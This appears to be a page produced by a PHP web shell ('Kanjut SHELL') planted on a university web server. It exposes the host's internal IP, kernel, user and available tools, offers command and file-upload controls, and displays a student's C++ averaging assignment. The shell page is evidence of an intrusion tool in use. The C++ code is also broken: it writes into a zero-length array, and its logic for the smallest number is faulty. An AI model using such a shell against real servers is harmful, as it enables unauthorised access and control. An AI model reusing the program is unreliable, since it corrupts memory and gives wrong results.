Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.110.99
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bafreeman/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bafreeman/assign1b.cpp
//      File name:      assign1b.cpp
//      Author:         Benjamin Freeman
//      Instructor:     Dr. John Wang
//      Due date:       Wed., Feb. 6, 2008
//      Compilation:    g++ assign1b.cpp -o assign1b.out
//      Execution:      ./assign1b.out
//
//      Goal: This program will use arrays to calculate the average of a group of numbers
//      and output the results as well as the largest number and smallest number.


#include<iostream>
#include<iomanip>

using namespace std;
const int M = 0;
int main()
{
	int arr[M];
	float total = 0;	
	int size = 0;	
	float avg;
	int largest;
	int smallest;
	cout << fixed << showpoint << setprecision(1);

	cout << "Input numbers & quit for a neg. one:\n";
	cin >> arr[size];
	largest = arr[size];
	smallest = arr[size];
	while( arr[size] > 0 )
	{	
		total = total + arr[size];
		size ++;
		cin >> arr[size];
		if( largest < arr[size])
			largest = arr[size];
		else if(arr[size] > 0)
			smallest = arr[size];
	}
	
	avg = total / size;
	cout << "The average is: " << avg << endl;
	cout << "The largest number is: " << largest << endl;
	cout << "The smallest number is: " << smallest << endl;
	cout << "\n\n+++++++++\nDone.\n\n";
	return 0;
}


Stv3n404 - 2023